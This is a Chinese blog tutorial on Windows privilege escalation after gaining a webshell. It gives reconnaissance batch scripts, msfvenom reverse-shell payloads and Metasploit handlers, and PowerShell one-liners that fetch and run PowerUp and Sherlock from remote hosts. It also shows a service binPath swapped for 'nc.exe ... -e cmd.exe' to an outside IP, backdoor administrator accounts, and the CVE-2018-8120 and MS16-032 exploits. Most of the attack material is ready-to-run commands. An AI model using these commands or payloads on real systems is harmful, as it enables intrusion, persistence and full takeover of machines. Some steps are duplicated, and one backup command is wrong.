提权的那些事儿

0x01 提权概述

1、什么是提权

提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。(来源:百度百科)
提权就是通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局。(来源:CSDN)

简单来说,就是对当前权限的进一步提升行为。概括来说,就是:权限提升

2、提权的目标

1.Windows:由普通用户提升到Administrator或者是System。
也就是:User -> Administrator或System
2.Linux:由普通用户提升到root权限。
也就是:User -> Root

3、提权的前提条件

提权不是在任何情况下都可以进行的,它有一定的前提条件。常见的前提条件:

1.满足下面其中之一:
拥有内网普通用户权限
拥有WebShell
拥有FTP权限
拥有某些远程管理软件的账号和密码等

2.在本地或远程服务器上存在相应的提权漏洞
3.最重要的条件:拥有利用该提权漏洞的工具、代码或程序

4、为什么要进行提权

一般会进行提权的原因是:因为当前权限无法做到某些我们需要做到的事情。
同时利用提权,我们可以发现更多潜在的服务器和网络设备的漏洞。实现进一步的渗透测试。

读取 / 写入敏感文件
重新启动之后权限维持
插入永久后门

0x02 权限知识简介

1、计算机中的权限分类:

权限在不同的应用中有着不同的分类,与安全相关的大致可分为以下权限:

匿名访问权限:使用户无需输入用户名或密码便可以访问Web或FTP站点的公共区域
来宾权限(Guest):设置用户名和密码去访问
用户权限:普通用户权限,创建的用户拥有的权限,受限于很多功能不能使用
管理员权限:管理员拥有的权限,基本可以完成所有操作。
系统权限:系统权限,可以完成所有操作。
#TrustedInstaller:Windows中的最高权限,对系统文件,即使拥有System权限也无法修改,只有拥有TrustedInstaller权限才可以修改系统文件。

权限不同对应的权利不同。

2、Windows下用户的权限划分

Windows是一个支持多用户、多任务的操作系统,这是权限设置的基础,一切权限设置都是基于用户和进程而言的,不同的用户在访问这台计算机时,将会有不同的权限。

  • SYSTEM:SYSTEM组,具有系统权限。不允许任何用户加入,在查看用户组时,也不会被显示出来。
  • Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。分配给该组的默认权限允许对整个系统进行完全控制。
  • Power Users:高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。默认权限允许 Power Users 组的成员修改整个计算机的设置。
  • Users:普通用户组,这个组的用户无法进行有意或无意的改动。
    用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序。
    默认权限不允许成员修改操作系统的设置或用户资料。
    在经过 NTFS 格式化的卷上,默认安全设置旨在禁止该组的成员危及操作系统和已安装程序的完整性。
    用户不能修改系统注册表设置、操作系统文件或程序文件;可以关闭工作站,但不能关闭服务器;Users 可以创建本地组,但只能修改自己创建的本地组。
  • Guests:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多。
  • Everyone:所有的用户,这个计算机上的所有用户都属于这个组。

3、Linux下用户的权限划分

在Linux系统中,用户是分角色的,角色不同,对应权限不同。用户角色通过UID和GID识别。特别是UID,一个UID是唯一标识一个系统用户的账号。
每个用户都有一个用户ID,用户的UID存在的位置是:/etc/passwd
每个组都有一个组ID,组的GID存放位置是:/etc/group
也可通过id命令查看UID和GID

  • 超级用户(UID=0):默认是root用户,其UID和GID都是0。root用户在每台Unix/Linux系统中都是唯一且真是存在的,通过它可以登陆系统,操作系统中任何文件执行系统中任何命令,拥有最高管理权限。
  • 普通用户(UID 500~65535):这类用户一般是由具备系统管理员root的权限的运维人员添加的。系统中大多数用户都是普通用户,实际中也一般使用普通用户操作,需要权限是用sudo命令提升权限。
  • 虚拟用户(UID 1~499):与真实的普通用户区分开来,这类用户最大特点是安装系统后默认就会存在,且默认情况大多数不能登陆系统,其在/etc/passwd文件中,最后字段为/sbin/nologin。是系统正常运行不可缺少的,主要是方便系统管理,满足相应的系统进程对文件属主的要求

4、常见Windows用户和Linux用户的权限

常见Windows用户的权限

user 有普通用户权限
administrator 有管理员权限
system 有系统权限

常见Linux用户的权限

user 有普通用户权限
root 有管理员权限

0x03 信息收集

1、常规信息收集

whoami #当前用户权限
net user #查看用户信息
hostname #获取主机名
systeminfo #查看当前系统版本与补丁信息(利用没有打对应补丁来进行提权),以及所属域信息
ver #查看当前服务器操作系统版本

#收集本地用户和组信息
net localgroup #本地用户组
net localgroup administrators #本地管理员信息
#添加管理员用户
net user 用户名 密码 /add  #先添加一个普通用户
#如:net user qwzf password /add
net localgroup administrators qwzf /add #把这个普通用户添加到管理员用户的组中

ipconfig /all #获取网卡信息:ip、dns、计算机名称等
route print #查看路由表
arp -A #查看路由表
ipconfig /displaydns #查看dns缓存

netstat -ano #查看端口开放与连接信息
#获取远程端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
#查看远程桌面是否关闭,0表示开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections 
#获取rdp连接来源IP
netstat -ano | findstr 3389
schtasks /query /fo LIST /v #查看系统计划任务

schtasks /query /fo LIST /v    #显示所有调度任务的详细输出
tasklist #或tasklist /svc   查看进程列表
#taskkil /im 映像名称.exe /f #强制结束指定进程
#taskkil -PID PID #结束某个PID的进程
net start #查看当前计算机开启服务名称
#net stop servicesname #停止服务

#分析安装杀软
dir c:\programdata\
#查看系统名
wmic os get caption
#查看补丁信息
wmic qfe get Description,HotFixID,InstalledOn
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4013389" /C:"KB958644"
#查看当前安装程序
wmic product get name,version

#检索敏感文件:
dir /b /s *.txt
dir /b /s *.doc
#分析安装杀软
dir c:\programdata\

2、常见的杀软进程

参考:常见杀软对应的进程名

3、常规信息收集脚本

脚本1
将下面脚本代码写到一个后缀为.bat的文件里,并放到目标机具有写权限的目录下,执行,即可自动收集信息,并保存到相应文件中。

@echo off
md information && cd information
echo ########system info collection
systeminfo >> systeminfo.txt
ver >> ver.txt
hostname >> hostname.txt
net user >> netuser.txt
net localgroup >> NetLocalgroup.txt
net localgroup administrators >> NetLocalgroupAdministrators.txt
net user guest >> NetUserGuest.txt
net user administrator >> NetUserAdministrator.txt
echo ######at- with atq#####
echo schtask /query
echo
echo ####task-list#########
tasklist /svc >> tasklist.txt
echo
echo ####net-work information
ipconfig/all >> ipconfig.txt
route print >> route.txt
arp -a >> arp.txt
netstat -ano >> netstat.txt
ipconfig /displaydns >> displaydns.txt
echo
echo ######service#########
sc query type= service state= all >> scQuery.txt
echo #######file-##########
cd \
tree -F

脚本2

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A" 
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html 
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html 
wmic USERACCOUNT list full /format:"%var%" >> out.html 
wmic group list full /format:"%var%" >> out.html 
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html 
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html 
wmic netuse list full /format:"%var%" >> out.html 
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html 
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html 
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html 
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html 
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html 

4、漏洞补丁情况收集脚本

根据systeminfo里面的补丁信息可以查到有哪些补丁没有安装,可以针对性的进行提权

systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780) do @type C:\Windows\Temp\a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt

Windows 内核漏洞EXP下载库

0x04 一些准备

1、msf木马生成与监听

1.生成反弹木马

1.生成php反弹木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f raw > /root/shell.php

2.生成windows反弹木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f exe > /root/shell.exe

3.生成linux反弹木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f elf > /root/shell

2.msfconsole 控制台监听

1.选择监听模块

use exploit/multi/handler

2.设置payload反弹

set payload windows/meterpreter/reverse_tcp

注:此处为生成木马payload
3.设置LHOST、LPORT参数

set LHOST 攻击机ip 
set LPORT 监听端口

注:和生成木马设置对应
4.exploit 或 run 开始攻击,进行监听
5.等待靶机运行木马,msf产生session会话

sessions -i #选择会话

2、Windows下提权辅助工具

1.利用系统命令

systeminfo  #查看系统详细信息,可看到安装的补丁

wmic qfe get Caption,Description,HotFixID,InstalledOn
#也可以直接找是否存在cve-2018-8120对应的KB4131188补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4131188"

确定了当前系统的补丁信息后,可以去查找缺失的、可以利用的补丁。
推荐个提权辅助网站https://bugs.hacking8.com/tiquan/

在”补丁号”选项框中输入当前系统的补丁信息,之后进行查询来获取当前系统的缺失的、可以利用的补丁信息

2.Windows-Exploit-Suggester

描述
该工具可以将目标系统的补丁安装情况与微软的漏洞数据库进行对比,进而检测出目标系统中潜在的未修复漏洞。同时此工具还会告知用户针对于此漏洞是否有公开的exp和可用的Metasploit模块。
同时它可以使用–update参数去自动化地从微软下载漏洞补丁数据库,并将其以Excel表格的形式保存。
运行环境:python2环境运行,必须安装xlrd 库
主要功能:通过比对systeminfo生成的文件,从而发现系统是否存在未修复漏洞
使用方法

1、python2 windows-exploit-suggester.py --update
下载漏洞匹配的库保存为xlsx
2、systeminfo > win10.txt
3、进行比对发现可能存在的漏洞
python2 windows-exploit-suggester.py --database 2021-02-19-mssb.xls --systeminfo win10spl -10.txt

参考:Windows-Exploit-Suggester(Windows下提权辅助工具)

3.利用Metasploit的相关模块后渗透扫描

模块一:使用post/windows/gather/enum_patches模块快速扫描缺失的补丁
进入到 meterpreter 的shell下,执行下面命令,可以直接查看哪些补丁没有打(模块比较老了)

run  post/windows/gather/enum_patches

模块二:现在常用post/multi/recon/local_exploit_suggester模块快速识别系统中可能被利用的漏洞
使用方法如下:
首先,获取低权限meterpreter shell

#生成攻击载核
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.134 lport=12345 -f exe >/hacker.exe
#监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 121.41.231.75
set lport 5555
exploit

然后,后台运行(把session 放到后台)

background

最后,使用post/multi/recon/local_exploit_suggester模块快速识别系统中可能被利用的漏洞

use post/multi/recon/local_exploit_suggester
show options
set session 1
exploit

然后就会列出没有修补的漏洞模块:
在这里插入图片描述
这里可随便选择一个漏洞利用模块进行提权:
使用模块exploit/windows/local/ms16_032_secondary_logon_handle_privesc进行提权

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit

可获得system权限的meterpreter shell
在这里插入图片描述

4.WinSystemHelper

检查可利用的漏洞。该工具适合在Windows服务器上进行已知提权漏洞的检测。常用于WIN2003和XP系统

下载地址WinSystemHelper
使用方法
上传WinSysHelper.bat、explt2003.txt、expgt2003.txt,运行bat查看结果
然后在可利用的Exp中任意下载一个并执行即可

5.Sherlock

注:Windows server 2003及之前版本没有powershell

在Windows下用于本地提权的PowerShell脚本

下载地址Sherlock
使用方法

启动Powershell
powershell.exe -exec bypass
本地加载脚本
Import-Module .\Sherlock.ps1
远程加载脚本
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
发现漏洞(出现Appears Vulnerable就是存在漏洞)
Find-AllVulns

6.Privesc

该脚本能够枚举出目标Windows系统中常见的Windows错误安全配置,错误的安全配置将允许攻击者在目标系统中实现信息收集以及权限提升

下载地址Privesc
使用方法

本地加载脚本
Import-Module .\Privesc.psm1
获取函数
Get-Command -Module Privesc
检测全部信息
Invoke-AllChecks
命令行下执行
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
远程调用执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://121.41.xx.xx:9001/Privesc.psm1');Invoke-AllChecks"
添加用户
Install-ServiceBinary -ServiceName '服务名' -UserName user -Password password

这些工具的使用可参考:
提权学习之旅——Windows操作系统提权 中的Windows分析工具的利用

0x05 Windows下常见的提权方法

1、本地提权:
at命令提权
sc命令提权
内核提权
注入进程提权

2、错误系统配置提权:
系统服务错误权限配置
可信任服务路径漏洞(Trusted Service Paths)
不安全的注册表权限配置
注册表键AlwaysInstallElevated
计划任务

3、漏洞提权(最常用):
Windows内核溢出漏洞提权:CVE-2018-8120、MS16-032、MS15-051、MS14-058等等

4、DLL 注入提权
5、令牌窃取提权
6、其他提权(还有很多,暂时还没学习)

很多由于搭环境比较麻烦,有很多没有进行复现和总结。所以这里先贴几个大师傅复现的博客(复现成功的在下面进行总结):
提权
Metasploit、powershell之Windows错误系统配置漏洞实战提权
【内网安全攻防】提权
Windows 本地特权提升技巧
史上最全windows提权手法总结,这都不看?
参考视频:
https://www.bilibili.com/video/BV1ak4y1C79o?p=1
https://www.bilibili.com/video/BV18A411J7gw?p=1

0x06 常见提权方法演示

1.at命令提权

at命令简介:at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。
适用环境:Windows2000、Windows server 2003、Windows XP。可以将Administrators 组下的用户权限提升到 SYSTEM
语法at 时间 命令
复现环境:Windows server 2003
具体过程
首先以管理员身份打开cmd,输入whoami查看当前用户权限,发现是管理员用户权限。
然后输入:at 3:01AM /interactive cmd。然后在3:01时,打开了一个cmd,输入whoami查看当前用户权限,发现是system权限
在这里插入图片描述
在得到一个system的cmd之后,使用taskmgr命令调用任务管理器,此时的任务管理器是system权限,然后kill掉explore进程,再使用任务管理器新建explore进程(C:\WINDOWS\explorer.exe),将会得到一个system的桌面环境
在这里插入图片描述
在这里插入图片描述
at 配合 msf提权
1)at命令执行木马进行提权

#生成windows反弹木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f exe > /root/hack.exe
#at命令执行运行程序
at 9:01AM /interactive c:\hack.exe

上线后即为system

2.sc命令提权

sc命令简介: SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
适用环境:Windows7/8、Windows server 2003/2008/2012/2016。
复现环境:Windows server 2008 R2
具体过程
创建一个名叫syscmd的新的交互式的cmd服务:

sc Create syscmd binPath= "cmd /K start" type= own type= interact

syscmd 服务名字,可以随便取
binpath 环境变量,执行的路径
删除服务:sc delete 服务名

然后执行:

sc start syscmd

在这里插入图片描述
点击“查看消息”,就得到了一个system权限的cmd环境
在这里插入图片描述
同样使用上面at命令的方法,得到一个system权限的桌面环境
sc 配合 msf提权

#生成windows反弹木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f exe > /root/hack.exe
#binPath换成反弹木马路径
sc Create syscmd binPath= "c:\hack.exe" type= own type= interact

上线后即为system

3.系统服务错误权限配置

(1)漏洞概述

漏洞简介

  • windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。
    比如,JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。
  • 因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。
  • windows服务是以system权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在一些情况下操作系统中任然存在一些没有得到有效保护的服务

系统服务权限配置错误有如下两种可能:

服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务
服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权

漏洞产生原因
Windows操作系统中常见配置错误:如管理员凭证配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。

(2)PowerUp下的实战利用

Powershell框架-Powerup可以通过直接替换可执行文件本身来实现权限的提升。
Powerup可以帮助我们检查各种服务滥用,dll 劫持,启动项等,来枚举系统上常见的提权方式。
powerup下载地址
三种加载方式

powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”

复现环境:Win7
复现过程
第一步:通过拿到的webshell,上传 nc,也可以换成cs 或 msf 生成的反弹木马。获得交互式环境
第二步:加载powerup.ps1脚本,并找到存在配置权限错误的服务。
本地加载的话,需要先将powerup.ps1脚本上传至目标服务器,然后执行如下命令,执行该脚本,查找有漏洞的服务:

powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

在内存中加载此脚本的话,先将powerup.ps1脚本上传至目标服务器(这里是c盘根目录下),然后执行如下命令,同样会自动进行所有的检查:

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”

远程调用执行的话,直接执行如下命令即可:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://121.41.xx.xx:9001/PowerUp.ps1');Invoke-AllChecks"

相关参数解释:

-NoProfile(-nop)   #PowerShell控制台不加载当前用户的配置
-Exec Bypass       #绕过执行安全策略
Import-Module      #加载脚本

在这里插入图片描述
第三步:
第二步中,列出了可能存在问题的所有服务,并在AbuseFunction中给出了利用方式。
测试各个服务后,发现可以在“ose64”服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。
使用icacls命令来验证下PowerUp脚本检测是否正确:

icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"

在这里插入图片描述

参数说明:”M” 表示修改,”F” 代表完全控制,”CI” 代表从属容器将继承访问控制项,”OI” 代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限

可以看到所有用户对OSE.EXE文件是有完全控制权的,可以直接将OSE.EXE替换成 nc,此处也可以换成 cs 或 msf 生成的反弹木马:
1)停止ose64服务

sc stop ose64

2)先备份一下OSE.EXE,执行下面命令会生成OSE.EXE.bak

sc config ose64 binPath= "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"

3)将服务执行的exe文件修改为 nc或msf反弹木马,反弹 shell。

#msf反弹木马
sc config ose64 binPath= "C:\phpStudy\PHPTutorial\WWW\upload-labs\upload\hack.exe"
#nc
sc config ose64 binPath= "C:\phpStudy\PHPTutorial\WWW\upload-labs\upload\nc.exe 121.41.xx.xx 4444 -e cmd.exe"

4)将服务状态设置为自动启动

sc config 服务名 start= demand //手动
sc config 服务名 start= auto //自动
sc config 服务名 start= disabled //禁用

sc config ose64 start= auto

5)启动服务

sc start ose64

nc监听
当服务重启时,就会给我们返回一个system权限的meterpreter。
在这里插入图片描述
但是发现新得到的会话很快就中断了。
原因:当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。
解决方法:在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移:

set AutoRunScript migrate -f

第四步:
执行如下命令操作,来添加用户:

#如果获得了system权限,添加普通用户
net user qwzf123 Password123! /add && net localgroup administrators qwzf123 /add

#如果获得了system权限,添加系统管理员权限用户:
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/phpStudy/PHPTutorial/WWW/upload-labs/upload/PowerUp.ps1');Install-ServiceBinary -ServiceName 'ose64' -UserName qwzf666 -Password Password123!

相关参数解释:

Install-ServiceBinary模块,通过Write-ServiceBinary写一个C#的服务用来添加用户。

停止并再启动该服务,就会添加我们的用户。
提示拒绝访问,因为我们当前的权限是一个受限的USER权限,所以只能等待系统重启。
可直接使用如下命令强制重启:

shutdown –r –f –t 0
#shutdown /r /f /t 0

重启以后,系统会自动创建了一个新用户qwzf123,密码是Password123!
查看下该用户权限,发现是系统管理员权限。

(3)Metasploit下的实战利用

需要事先有一个普通权限的session。background后台运行

#弱服务提权的模块:exploit/windows/local/service_permissions
use exploit/windows/local/service_permissions
options
set LHOST 攻击机ip 
set LPORT 监听端口
set session 之前的id
设置完成后run
即可返回一个新的meterpreter

在这里插入图片描述

3.Windows内核溢出漏洞提权

溢出漏洞

溢出漏洞是一种计算机程序的可更正性缺陷。
溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。
成功利用缓冲区溢出漏洞可以修改内存中变量的值、劫持进程、执行恶意代码、最终获得主机的控制权。

Windows内核溢出漏洞提权

Windows内核溢出漏洞提权是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。
本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。

github上windows系统溢出漏洞提权的汇总

#Windows内核溢出漏洞提权大全:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/Ascotbe/Kernelhub
#Windows 下的提权大合集:
https://github.com/lyshark/Windows-exploits
#各大平台提权工具:
https://github.com/klsfct/getshell 
  • 实战中最常用的本地溢出提权有 CVE-2018-8120、MS16-032、MS15-051 和 MS14-058 。
  • 在MSF中,最常用的提权模块是CVE-2018-8120。
  • 在CobaltStrike中,最常用的提权模块的是 MS14-058。

(1)CVE-2018-8120

漏洞基本信息

描述

该漏洞源于Win32k组件NtUserSetImeInfoEx函数内部SetImeInfoEx函数的没有正确的处理内存中的空指针对象。攻击者可利用该空指针漏洞在内核模式下以提升的权限执行任意代码。

影响版本
在这里插入图片描述
复现环境:Windows 7 SP1 x64
修复方法
1 在官网下载补丁修复
2 装杀毒软件修复漏洞
修复补丁:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120

利用方式
利用源码自行编译做免杀
直接利用已经编译好的工具(exe文件,未做免杀)

本地测试

直接将已经编译好的工具CVE-2018-8120_x64.exe上传到Windows 7上,cmd下执行

CVE-2018-8120.exe whoami

在这里插入图片描述
发现提权到了system权限。

Metasploit下的实战利用

假设我们已经获得了webshell,可利用蚁剑连接。
第一步:
将生成的exe msf反弹木马文件上传到目标主机
将CVE-2018-8120_x64.exe工具上传到目标主机
第二步:
使用CVE-2018-8120_x64.exe运行msf反弹木马,得到system权限的meterpreter shell。
在这里插入图片描述
在这里插入图片描述
接下来可进行后续操作,如创建用户、开启远程桌面等。

(2)利用Metasploit的相关模块后渗透扫描漏洞并利用

使用post/multi/recon/local_exploit_suggester模块快速识别系统中可能被利用的漏洞
使用方法如下:
首先,获取低权限meterpreter shell

#生成攻击载核
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.134 lport=12345 -f exe >/hacker.exe
#监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 121.41.231.75
set lport 5555
exploit

然后,后台运行(把session 放到后台)

background

最后,使用post/multi/recon/local_exploit_suggester模块快速识别系统中可能被利用的漏洞

use post/multi/recon/local_exploit_suggester
show options
set session 1
exploit

然后就会列出没有修补的漏洞模块:
在这里插入图片描述
这里可随便选择一个漏洞利用模块进行提权:
使用模块exploit/windows/local/ms16_032_secondary_logon_handle_privesc进行提权

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit

可获得system权限的meterpreter shell
在这里插入图片描述
就简单演示这几个,其他有待于进一步学习!


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏